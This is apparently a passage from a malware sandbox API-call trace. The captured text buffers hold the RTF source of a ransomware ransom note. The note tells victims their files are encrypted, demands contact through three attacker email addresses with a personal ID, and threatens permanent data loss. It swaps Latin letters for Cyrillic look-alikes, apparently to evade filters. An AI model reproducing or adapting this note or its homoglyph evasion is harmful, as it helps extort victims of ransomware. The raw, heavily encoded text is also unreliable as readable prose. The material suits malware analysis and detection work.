rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x27bfb38, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 